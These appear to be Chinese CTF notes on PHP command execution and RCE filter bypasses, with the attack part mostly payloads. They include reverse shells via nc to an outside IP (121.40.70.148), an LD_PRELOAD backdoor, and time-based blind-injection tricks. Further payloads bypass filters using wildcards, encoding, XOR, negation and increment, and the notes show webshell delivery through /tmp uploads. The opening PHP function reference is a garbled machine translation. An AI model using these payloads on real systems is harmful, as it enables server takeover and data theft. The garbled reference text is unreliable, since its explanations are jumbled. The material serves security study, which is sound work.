0x01命令执行函数介绍
常见函数
system exec passthru shell_exec 反引号 popen proc_open pcntl_exec
system 有回显
system(string $command,int &$return_var = ?)
常用参数:
command:执行command参数所指定的目录,并且输出执行结果
如果提供rerurn_var参数,则外部命令执行后的返回状态将会被设置到此变量中
exec 回显最后一行
exec(字符串 $command
, 数组 &$output
= null
, int &$result_code
= null
):
exec() 执行给定的 .command
参数
command
将要执行的命令。
output
如果存在该参数,则 指定的数组将填充 命令。尾随空格(如 , )不是 包含在此数组中。请注意,如果数组已经包含一些 元素中,exec() 将附加到数组的末尾。 如果你不希望函数附加元素,请在将数组传递给 exec() 之前对数组调用 unset()。
output``\n
result_code
如果存在参数 以及参数,则 返回已执行命令的状态将写入此 变量。
result_code``output
passthru 有回显
passthru(字符串 $command
, int &$result_code
= null
): ?假
passthru() 函数与 exec() 函数类似,因为它都执行一个 .此功能 当 Unix 命令的输出时,应该使用 exec() 或 system() 是二进制数据,需要直接传递回 浏览器。此作的常见用途是执行类似于 PBMPlus实用程序。由 将 Content-type 设置为 和 然后调用 PBMPluss 程序输出一个 gif,可以创建 直接输出图像的 PHP 脚本。command``image/gif
参数
1 | command |
将要执行的命令。
result_code
如果存在该参数,则 返回状态将放在 Unix 命令的此处。
result_code
shell_exec 无回显
shell_exec(字符串 $command
):字符串|错误|零
参数
command
将要执行的命令。
返回值
一个包含已执行命令输出的字符串,**如果
**管道 cannot established 或 null
(如果发生错误或命令未生成任何输出)。
注意:
此函数可以在发生错误时返回
null
,也可以返回程序 不产生任何输出。无法使用 这个函数。exec() 在访问 程序退出代码是必需的。
使用echo print等输出结果
popen 无回显
popen(字符串 $command
, 字符串 $mode
):资源|假
参数
command
命令
mode
模式。要么用于阅读,要么用于写作。
'r'``'w'
在 Windows 上,popen() 默认为文本模式,即写入管道或从管道读取的任何字符都将被转换为 . 如果不需要,可以通过分别设置为 和 来强制执行二进制模式。\n``\r\n``mode``'rb'``'wb'
返回值
返回与 fopen() 返回的文件指针相同的文件指针,不同之处在于它是单向的(可能是 仅用于读取或写入),并且必须用 pclose() 关闭。此指针可以与 fgets()、fgetss() 和 fwrite() 一起使用。当模式为 ‘r’ 时,返回的 file 指针等于命令的 STDOUT,当模式 是 ‘w’,则返回的文件指针等于 命令。
如果发生错误,则返回 false
。
fgets获取内容 -> print_r输出内容
proc_open 无回显
proc_open(数组|字符串 $command
、数组 $descriptor_spec
、数组 &$pipes
、?字符串 $cwd
= 空
,?数组 $env_vars
= 空
?数组 $options
= null
):resource|假
proc_open() 类似于 popen(),但对程序执行的控制程度要大得多。
参数
command
要作为字符串执行的命令行。特殊字符必须正确转义, 并且必须应用适当的引用。
descriptor_spec
一个索引数组,其中 key 表示描述符编号, value 表示 PHP 如何将该描述符传递给 child 过程。0 是 stdin,1 是 stdout,而 2 是 stderr。每个元素可以是:描述要传递给进程的管道的数组。第一个 元素是描述符类型,第二个元素是 给定的类型。有效类型包括 (第二个 元素是将 pipe 的读取端 传递给进程,或传递写入端)和(第二个元素是文件名)。 请注意,其他任何内容都被视为 .
pipe``r``w``file``w``r
表示真实文件描述符的流资源(例如,打开的文件、 套接字 **STDIN)。
**文件描述符编号不限于 0、1 和 2 - 您可以 指定任何有效的文件描述符编号,它将被传递给 子进程。这允许您的脚本与其他 作为 “co-process” 运行的脚本。特别是,这对于 将密码短语传递给 PGP、GPG 和 openssl 等程序 安全的方式。它对于读取状态信息也很有用 由这些程序在辅助文件描述符上提供。pipes
将设置为对应于 PHP 创建的任何管道的末尾。
cwd
命令的初始工作目录。这必须是绝对目录路径**``,如果您想使用**默认值(当前 PHP 进程)
env_vars
一个数组,其中包含命令的环境变量,该命令将是 run 或
null
使用与当前 PHP 进程相同的环境options
允许您指定其他选项。当前支持的选项 包括:
suppress_errors
(仅限 Windows):禁止显示错误 由此函数在设置为true
时生成bypass_shell
(仅限 Windows):设置为true
时绕过 shellcmd.exe``blocking_pipes
(仅限 Windows):强制 设置为true
时阻塞管道create_process_group
(仅限 Windows):允许 设置为true
时处理事件的子进程CTRL``create_new_console
(仅限 Windows):新流程 具有新的控制台,而不是继承其父级的控制台
返回值
返回表示进程的资源,完成后应使用 proc_close() 释放该资源。失败时 返回 false
。
pcntl_exec(字符串 $path
, 数组 $args
= [], 数组 $env_vars
= []): 布尔值
使用给定的参数执行程序。
参数
path
path
必须是二进制可执行文件的路径,或者是 脚本,其有效路径指向 shebang ( #!/usr/local/bin/perl)作为第一行。查看系统的 man execve(2) 页面了解更多信息。args
args
是传递给 程序。env_vars
env_vars
是一个字符串数组,这些字符串以 环境添加到程序中。数组的格式为 name => value, 键是环境变量的名称,值是 该变量的值。
返回值
返回 false
。
0x02替换绕过函数过滤(过)
0x03LD_PRELOAD绕过
0x04mail()函数命令
这个题就是
写一个demo.c文件
1 | #include <stdlib.h> |
demo.php文件
1 | <?php |
用kali生成demo.so文件
将demo.php和demo.so文件一起通过蚁剑上传
这里是留着后门的
上传成功 开启服务器监听 然后去访问demo.php网页
监听成功
下面这是给的第二种方法
0x05蚁剑及pcntl绕过函数过滤
这里还是上面那个题 通过蚁剑插件来解题 或者 pcntl函数
antsword
pcntl_exec
1 | cmd=pcntl_exec("/bin/bash",array("-c","nc 121.40.70.148 2333 -e /bin/bash")); |
反弹成功
0x06操作系统链接符
;
使多个命令按顺序执行
前面的命令和后面的命令都会执行
& URL编码 %26
使命令在后台运行
这样就可以同时执行多条命令
第一条命令无法执行成功 则后面的命令也无法执行
执行的时候要进行一下url编码 不然后面的命令无法执行
1 | ?cmd=%26id |
|
将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数;
前面的命令和后面的命令都会执行,但只显示后面的命令执行结果
||
类似于程序中的if-else语句。
若前面的命令执行成功,则后面的命令就不会执行;
若前面的命令执行失败,则执行后面的命令。
0x07.空格过滤绕过
1.大括号{car,flag.txt};
2.$IFS代替空格;$IFS、${IFS}、$IFS$9
Linux下有一个特殊的环境变量叫做IFS , 叫做内部字段分隔符(internal field separator)
1 | ?cmd=ls$IFS-l |
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。
1 | ?cmd=ls${IFS}-l |
$IFS$9-后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串
1 | ?cmd=ls$IFS$9-l |
3.重定向字符 <, <>;
“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。
1 | ?cmd=cat<flag.php |
4.%09(Tab),%20(space);
1 | ?cmd=cat%09flag.php |
0x08.文件名过滤绕过
1.通配符 ? * 绕过
通配符是一种特殊语句,主要有 ? 和 * ,用来模糊搜索文件。
? 在linux里面可以进行代替字母。? 仅代表单个字符串,但此单子必须存在。
1 | cat fl?g.tx? |
* 在linux里面可以进行模糊匹配。 * 可以代表任何字符串。
1 | cat f* |
多个匹配结果同时展示
1 | ?cmd=passthru('cat fl?g.p?p'); |
2.单引号、双引号绕过
‘’、”” 代表空字符 即单引号与双引号会被解析为空字符
1 | ?cmd=passthru('cat f""ag.ph""p'); 会被解析为 passthru('cat flag.php') 但可以绕过flag与php的过滤并执行命令 |
3.反斜杠 \ 绕过
把特殊字符去掉功能性,单纯表示为字符串。
1 | echo benben > dazhuang 会把benben 存入到dazhuang文件里 |
4.特殊变量: $1到$9、$@和$*等
输出为空 空字符
1 | cat fl$1ag.t$9xt -> cat flag.txt |
5.内联执行
自定义字符串,再拼接起来
1 | a=f;d=l;c=ag;d=ph;e=p;cat $a$b$c$d$e 就表示 cat flag.txt |
6.利用linux中的环境变量
使用环境变量里的字符执行命令。
1 | echo $PATH PATH默认系统环境变量 |
0x09.常见文件读取目录绕过
1.tac:反向显示
与cat功能类似,但是是反向显示,从最后一行往前开始显示。
2.more:一页一页的显示档案内容
3.less:与more类似
4.tail:查看末尾几行;
1 | ?cmd=passthru("tail fl\ag.ph\p"); |
可以看到他是从 3 开始的显示了10行 即末尾10行
5.nl:显示的时候,顺便输出行号
6.od:以二进制的方式读取档案内容;
1 | ?cmd=passthru("od -A d -c fla\g.ph\p"); 这是以8进制的格式输出的 |
-A d -c 会把8进制 转换为 ASCII吗字符
7.xxd:读取二进制文件
1 | xxd flag.php ?cmd=passthru("xxd flag.php"); |
8.sort:主要用于排序文件;
1 | sort flag.php ?cmd=passthru("sort flag.php"); |
可以发现他把 10 和 11排前面去了
1 | sort在 /usr/bin/sort 里 有时会通过?cmd=passthru("/usr/bin/sort flag.php")执行 |
9.uniq:报告或删除文件中重复的行;
1 | uniq flag.php ?cmd=passthru("uniq flag.php"); |
可以看到uniq只输出了一次flag
10.file -f; 报错出具体内容
1 | file -f flag.php ?cmd=passthru("file -f flag.php"); |
可以看到一些 No such file or directory 的报错 把内容给显示出来了
11.grep:在文本中查找指定字符串;
1 | grep flag flag.php ?cmd=passthru("grep flag flag.php"); |
从flag.php文本文件中搜索包含 flag 字符串的行 并显示
0x10.编码绕过
1.base64编码
1 | cat flag.php->Y2F0IGZsYWcucGhw (base64编码) |
| 把前面指令执行的结果,变成后面指令的参数
上面echo Y2F0IGZsYWcucGhw | base64 -d
意思就是 echo Y2F0IGZsYWcucGhw的结果为Y2F0IGZsYWcucGhw
然后变成base64 -d Y2F0IGZsYWcucGhw 这里对Y2F0IGZsYWcucGhw解码 成为cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d | bash 执行命令
| 把cat flag.php, 放在bash里执行 bash里可以成功执行命令
还可以用 echo Y2F0IGZsYWcucGhw|base64 -d
$(echo Y2F0IGZsYWcucGhw|base64 -d) 等
2.base32编码
3.HEX编码
ASCII码
1 | tac flag.php ->74616320666c61672e706870 |
xxd:二进制显示和处理文件工具
-r -p将纯十六进制转储的反向输出打印为了ASCII格式
bash、sh、/bin/bash、反引号执行命令等
4.shellcode编码
16进制的机器码
1 | tac flag.php ->\x74\x61\x63\x20\x66\x6c\x61\x67\x2e\x70\x68\x70 |
这个会自动解码 不需要输入解码的命令
0x11无回显时间盲注
命令盲注
页面无法shell反弹或者无法回显,或者没有写入权限,可尝试命令盲注。
根据返回的时间来进行判断;
读取文件指定行的指定位置的字符;
if判断语句
相关命令
1.sleep
1 | sleep5 5秒之后返回结果 |
2.awk NR
1 | cat flag |
awk逐行获取数据
1 | cat flag | awk NR==1 |
3.cut -c
cut命令逐列获取单个字符
1 | cat flag | awk NR==12 | cut -c 1 |
4.if语句
判断命令是否执行
1 | if [ "$(cat flag.php | awk 'NR==12' | cut -c 1)" == "f" ]; then echo "right"; fi |
if[]里的判断语句为真,则执行echo “right”;否则执行fi结束
1 | if [ "$(cat flag.php | awk 'NR==12' | cut -c 1)" == "f" ]; then sleep 5;fi |
if[]里判断语句为真,则执行sleep 5,休眠5秒后返回结果
py盲注脚本 ls /查看根目录来获取flag文件名
1 | import requests |
0x12长度过滤绕过前置知识
>符号和 >>符号
1.通过>来创建文件
1 | echo benben > a |
创建文件a,并把字符串’benben’写入到文件a里;
通过>来将命令执行结果写入文件会覆盖掉文件原本的内容;
1 | > b 直接创建文件b 类似touch b |
2.通过>>追加内容
命令换行
在没有写完的命令后面加”\“,可以将一条命令写在多行:
相当于”\“把换行的命令连接到一起执行
ls -t命令
将文件名按照时间顺序排列出来(后创建的排在前面,即离我现在输入命令时间最近的在前面)
只能精确到秒
ls 是按字母顺序显示文件名(先符号后数字再字符)
sh
sh命令是shell命令语言解释器,
执行命令从标准输入读取或从一个文件中读取
组合运用
ls -t >x
创建文件x
并把’ls -t’执行结果写入到文件x里;
ls -t 命令列出文件名。然后每个文件名按行储存;
对命令有长度限制时
把一些很短的文件名拼接成可执行命令
1 | >创建很短的文件名 |
dir及 *和rev
dir:基本上和ls一样,但有两个好处
一是开头字母是d,这使得它在alphabetical序中靠前;
二是按列输出,不换行。
***:相当于${dir }*
1 | dir * |
如果第一个文件名是命令的话就会执行命令,
返回执行的结果,之后的文件名作为参数传入。
rev:可以反转文件每一行内容。
0x13长度为7绕过方法
期望执行命令
1 | cat flag|nc 121.40.70.148 2333 |
自己服务器的ip
监听端口7777
nc -lvp 2333
cat flag展示内容
再通过nc 反弹
提交到 自己服务器ip:2333


0x14长度为5




0x15长度为4




0x16无参数命令执行

1 | preg_replace('/[^\W]+\((?R)?\)/',",$_GET['code']) |
只要’code’里匹配到
1 | [^\W]+\((?R)?\) |
则替换为空
1 | [^\W]+\((?R)?\) |
正则表达式**[^\W]**匹配字母、数字、下划线[A-Za-z0-9_]
**[^\W]+((?R)?)**匹配到”a()”形式的字符串,但是()内不能出现任何参数
(?R)代表递归,即a(b(c()))都能匹配到
1 | く?php |
a()、a(b(c()))……格式的字符串,能被替换为空
$a=’phpinfo();’,phpinfo()被替换为空,则$b=’;’
1 |
|
匹配
1 | ';'== preg_replace('/[^\W]+\((?R)?\)/',",$_GET['code']) |
则调用eval执行code=’phpinfo();”,phpinfo()被替换为空,
则
1 | preg_replace(''/[^\W]+\((?R)?\)/', ",$_GET['code'])=';' |
HTTP请求头绕过(php7.3)
getallheaders()
获取所有HTTP请求标头
?code=print_r(getallheaders());读取头部信息倒叙排列
写这个题记得要换到php7.3的环境 php5的环境这些函数应该还不能用
1 | ?code=print_r(pos(getallheaders())); |
pos()把第一项的值显示出来
1 | ?code=print_r(end(getallheaders())); |
end()把最后一项的值显示出来
apache_request_headers()
功能与getallheaders()相似,适用于Apache服务器
可以利用system(‘nc 192.168.248.130 -e \bin\bash’);进行shell反弹
0x17无参数全局变量RCE(php5/7)
全局变量RCE
get_defined_vars()
返回所有已定义变量的值,所组成的数组
1 | ?code=print_r(get_defined_vars()); |
返回数组顺序为GET>POST>COOKIE>FILES
FILES
是 PHP 中的一个超级全局变量,准确地说是 $_FILES
。它用于处理通过 HTTP POST 方法上传的文件。
当你使用 <form enctype="multipart/form-data" method="post">
上传文件时:
你表单中形如:
1 | <form method="post" enctype="multipart/form-data"> |
当用户提交这个表单并上传文件后,PHP 会自动将上传的文件信息存放在 $_FILES
数组中。
$_FILES
的结构示例:
1 | Array |
字段说明:
name
: 上传文件的原始名称。type
: MIME 类型。tmp_name
: 临时文件在服务器上的路径(存储在 PHP 的临时目录中)。error
: 错误代码(0 表示上传成功)。size
: 文件大小(单位:字节)。
1 | ?code=print_r(pos(get_defined_vars()));&cmd=system('ls'); |
1 | print_r(end(pos(get_defined_vars())));&cmd=system('ls'); |
1 | ?code=assert(end(pos(get_defined_vars())));&cmd=system('ls'); |
把print_r换成eval、assert即可执行命令system(‘ls’);
0x18无参数session RCE
利用session(php5)
session_start()
启动新会话或者重用现有会话,成功开始会返回TRUE,反之返回FALSE
1 | ?code=print_r(session_start()); |
1 | ?code=print_r(session_id(session_start())); |
返回PHPSESSID的值
可以使用burpsuite修改PHPSESSID的值
1 | ?code=show_source(session_id(session_start())); |
print_r修改为show_source()
用burpsuite修改PHPSESSID的值为./flag
用show_source读取flag文件源代码
1 | ?code=eval(session_id(session_start())); |
修改外部函数eval()
修改PHPSESSID的值为命令’phpinfo();’
无法直接执行 因为PHPSESSID的值里不能一些有特殊符号
先把命令’phpinfo();’HEX编码转为十六进制,写入PHPSESSID
再用hex2bin()函数将十六进制转换为二进制(原始)数据,用eval执行
PHPSESSID=706870696e666f28293b
但是TGCTF2025里有一道题( AAA偷渡阴平(复仇)) session_start()的用法不一样 复现平台在https://ctf.xidian.edu.cn/
AAA偷渡阴平(复仇)与本靶场的比较
这个是上面靶场的题
执行session_start();system(hex2bin(session_id(session_start()))); 是没有正常执行的
这是TGCTF的题执行session_start();system(hex2bin(session_id(session_start()))); 是可以正常执行的
1 | system(hex2bin(session_id(session_start()))); |
而上面靶场的题执行这个是可以成功执行的 TGCTF的题不可以
然后在上面靶场的php7环境下试了一下TGCTF的payload仍然没有反应 当然这个靶场里原来php5环境里可以用的payload也不可以用
具体不知道是什么环境问题
0x19无参数scandir读取
利用scandir()进行文件读取 (只能进行文件读取)
当前目录
scandir()
类似ls,在某文件路径下,把内容以列表形式显示出来
- scandir()——列出指定路径中的文件和目录(php5,7,8)
- getcwd()——取得当前工作目录(php4,5,7,8)
- current()——返回数组中的第一项的值(php4,5,7,8)
- array_reverse()——返回单元顺序相反的数组(php4,5,7,8)
- array_flip()——交换数组中的键和值(php4,5,7,8)
- next()——将数组中的内部指针向前移动(其实就是到了数组里的下一个键和值)
- array_rand()——从数组中随机取出一个或多个随机键
- chdir()——系统调用函数(同cd),用于改变当前工作目录
- strrev()——用于反转给定的字符串
- crypt()——用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES
- hebrevc()——把希伯来文本从右至左的流转换为从左至右的流
查看当前目录文件名
1 | ?code=print_r(localeconv()); |
localeconv();显示的数组第一项为”.”
1 | ?code=print_r(current(localeconv())); |
current()功能同pos()
1 | ?code=print_r(scandir(current(localeconv()))); |
scandir()读取当前目录”.”下所有文件名
1 | ?code=print_r(array_reverse(scandir(current(localeconv())))); |
倒序
1 | ?code=print_r(current(array_reverse(scandir(current(localeconv))))); |
读取当前目录文件
1 | ?code=show_source(current(array_reverse(scandir(current(localeconv())))); |
getcwd
查看和读取当前目录文件 getcwd()当前目录
1 | ?code=print_r(getcwd()); |
1 | ?code=print_r(scandir(getcwd())); |
1 | ?code=print_r(end(scandir(getcwd()))); |
1 | ?code=show_source(end(scandir(getcwd()))); |
上级目录
查看上一级目录文件名
1 | ?code=print_r(getcwd()); |
getcwd()当前目录
1 | ?code=print_r(dirname(getcwd())); |
dirname()上一级目录
1 | ?code=print_r(scandir(dirname(getcwd()))); |
查看上一级目录文件名
1 | ?code=print_r(scandir(next(scandir(getcwd())))); |
效果相同 因为第二个元素是 .. 也是上级目录的意思
读取上一级目录文件名
1 | ?code=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
这会随机读取上一级目录中的一个文件的内容
1 | ?code=show_source(array_rand(arry_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd()))))))))))); |
根目录
1 | ?code=print_r(array()); |
serialize序列化
1 | ?code=print_r(crypt(serialize(array()))); |
末尾可能出现 /
crypt单向字符串散列加密,结果随机
1 | ?code=print_r(strrev(crypt(serialize(array())))); |
反转 让开头可能出现 /
strrev 倒序
ord()函数和chr()函数
只能对第一个字符进行转码 ord()编码 chr()解码
ord(x)
:把单个字符变成Unicode码点(整数) 在下面paylaod这里 他只能取第一个字符
chr(x)
:把整数变成对应的字符 所以就有可能通过ord() 将 / 编码 再通过chr()解码 来得到 /
1 | ?code=print_r(chr(ord(strrev(crypt(serialize(array())))))); |
scandir 列出根目录中的文件和目录 查看根目录文件名
1 | ?code=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))); |
最后通过array_flip()反转键和键值 array_rand()随机读取键 show_source()展示源码
?code=show_source(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));
这里还得拿chdir()把目录固定一下 dirname()取上级目录 (取目录的父级)
这个就是 /flag里的内容
这里也可以通过burpsuite的intruder模块进行爆破无限发包访问
0x20无字母数字异或运算绕过
异或运算poc
1 |
|
PHP5
1 | asset 异或结果 "!((%)("^"@[[@[\" 需要加个转义字符 "!((%)("^"@[[@[\\" |
1 | ?cmd=%24_%3D%22%2B(%2B).%26%2F%22%5E%22%5B%40%5B%40%40%40%40%22%3B%24_()%3B |
phpinfo();
PHP7
1 | `$_POST[_]`; |
urlencode
1 | ?cmd=%24_%3D%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24__%3D%24%24_%3B%60%24__%5B_%5D%60%3B |
post提交
1 | _=nc 服务器ip 端口号 -e /bin/bash |
进行反弹shell
0x21无字母数字取反绕过
poc
1 |
|
PHP5
1 | assert |
不需要再进行url编码
PHP7
1 | ?cmd=$_=~("%a0%af%b0%ac%ab");$__=$$_;`$__[_]`; |
post提交
1 | _=nc 服务器ip 端口号 -e /bin/bash |
0x22无字母数字自增绕过
1 |
|
PHP5
1 | assert($_POST[_]); |
urlencode
1 | ?cmd=%24_%3D%5B%5D.''%3B%24___%3D%24_%5B%24__%5D%3B%24__%3D%24___%3B%24_%3D%24___%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24_%20.%3D%24__%3B%24____%20%3D%20%22_%22%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24%24____%3B%24_(%24__%5B_%5D)%3B |
PHP7
1 | `$_POST[_]` $___ |
1 | `$_POST[_]` |
urlencode
1 | ?cmd=%24_%3D%5B%5D.''%3B%24___%3D%24_%5B%24__%5D%3B%24__%3D%24___%3B%24_%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20%3D%20%22_%22%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24__%3D%24___%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%2B%2B%24__%3B%24____%20.%3D%24__%3B%24_%3D%24%24____%3B%60%24_%5B_%5D%60%3B |
0x23无字母数字特殊符号过滤(php7)
无字母数字下划线
短标签
1 | <?= phpinfo();?> |
GET方式提交
1 | ?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?> -> ?><?=`$_GET[%a0]`?> 取反 |
1 | ?><?=`{${~"%a0%af%b0%ac%ab"}["-"]}`?> -> ?><?`$_POST[-]`?> 取反 |
无字母数字下划线及$符号过滤
PHP7
($a)() 式执行
利用call_user_func() 函数
1 | call_user_func() ->%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c |
PHP5
文化读取
php中POST上传文件会把我们上传的文件暂时存在/tmp目录下
默认文件名是phpxxxxxx,文件名最后6个字符是随机的大小写字母。
. /???/????????? ?通配符,可以匹配到. /tmp/phpxxxxxx 能匹配东西太多,通常会报错
. /???/????????[@-[] [@-[]表示ASCII在@和[之间的字符,也就是大写字母,保障最后一位为大写字母
一:先构造一个文件上传的POST数据包
二:PHP页面生成临时文件phpxxxxxx,存储在/tmp目录下;
三:执行指令. /???/????????[@-[], 读取文件,执行其中指令;
四:在上传的文件中写入一句话木马,把木马生成位置知道一个绝对路径,直接执行:
在docker内监控文件
/tmp# inotifywait -m /tmp/
bp修改数据包
1 | ?cmd=?><?=`.+/???/????????[@-[]`;?> |
数据包不知道是什么可以通过下面这个网页传
1 | <!DOCTYPE html> |
保存为 .html文件 用浏览器打开
随便提交一个文件 用burpsuite进行抓包 然后再去修改文件内容就行了
1 | POST /class11/3.php?cmd=?%3e%3c?=`.+/%3f%3f%3f%2f%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?%3e HTTP/1.1 |
这里发现已经写入成功了
下面可以用antsword连接